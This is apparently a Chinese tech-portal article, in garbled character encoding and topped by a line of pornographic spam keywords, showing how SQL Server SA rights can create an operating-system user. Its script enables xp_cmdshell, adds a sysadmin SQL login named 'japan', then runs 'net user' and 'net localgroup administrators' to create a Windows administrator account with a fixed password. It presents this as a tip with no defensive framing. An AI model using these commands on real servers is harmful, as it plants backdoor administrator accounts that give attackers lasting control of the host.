自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

通過SQL Server SA權(quán)限創(chuàng)建系統(tǒng)用戶

數(shù)據(jù)庫 SQL Server
如果使用SQL Server SA權(quán)限,能否實(shí)現(xiàn)創(chuàng)建系統(tǒng)用戶呢?答案是肯定的,下面就為您介紹該功能的實(shí)現(xiàn)方法,供您參考。

通過SQL Server SA權(quán)限,可以實(shí)現(xiàn)許多的操作,下面為您介紹的是通過SQL Server SA權(quán)限創(chuàng)建系統(tǒng)用戶的方法,希望對您學(xué)習(xí)SQL Server SA權(quán)限的使用能有所啟迪。

  1. --enabble xp_cmdshell  
  2. EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE  
  3. go  
  4. EXEC sys.sp_configure N'xp_cmdshell', N'1'  
  5. go  
  6. RECONFIGURE WITH OVERRIDE  
  7. go  
  8. EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE  
  9. go  
  10.  
  11. -- Unenable xp_cmdshell  
  12. EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE  
  13. go  
  14. EXEC sys.sp_configure N'xp_cmdshell', N'0'  
  15. go  
  16. RECONFIGURE WITH OVERRIDE  
  17. go  
  18. EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE  
  19. go  
  20.  
  21. -- 通過xp_cmdshell 創(chuàng)建操作系統(tǒng)用戶, japan 是用戶名及密碼  
  22. exec master.dbo.sp_addlogin japan;--     
  23. exec master.dbo.sp_password null,japan,japan;--     
  24. exec master.dbo.sp_addsrvrolemember japan,sysadmin;--     
  25. exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--     
  26. exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add';--     
  27.  
  28.  

 

 

 

【編輯推薦】

SQL Server SA權(quán)限小技巧

SQL數(shù)據(jù)庫操作授權(quán)

增加SQL用戶名的方法

SQL Server用戶權(quán)限詳解

SQL2000創(chuàng)建角色示例

責(zé)任編輯:段燃 來源: 互聯(lián)網(wǎng)
相關(guān)推薦

2010-09-27 15:10:12

SQL Server

2010-11-08 11:30:46

SQL Server

2010-09-27 14:36:24

SQL Server用

2011-04-06 13:04:35

SQL Server 密碼修改

2010-09-27 15:36:48

2010-07-09 12:39:28

SQL Server超

2010-07-05 10:37:00

2010-07-09 12:22:42

SQL Server超

2010-09-08 15:07:24

SQL Server用戶操作權(quán)限

2010-07-26 10:04:43

SQL Server

2010-06-18 13:36:49

SQL Server查

2010-06-18 10:25:49

SQL Server

2010-09-06 09:53:41

SQL Server語句

2021-12-01 08:19:12

SQL Server 數(shù)據(jù)庫Microsoft

2010-07-06 09:49:56

SQL Server

2010-07-26 10:39:14

SQL Server

2011-07-15 11:02:47

SQL Server 用戶權(quán)限設(shè)置

2010-07-26 10:30:13

SQL Server

2010-12-24 09:32:43

2010-10-20 15:27:00

SQL Server用
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號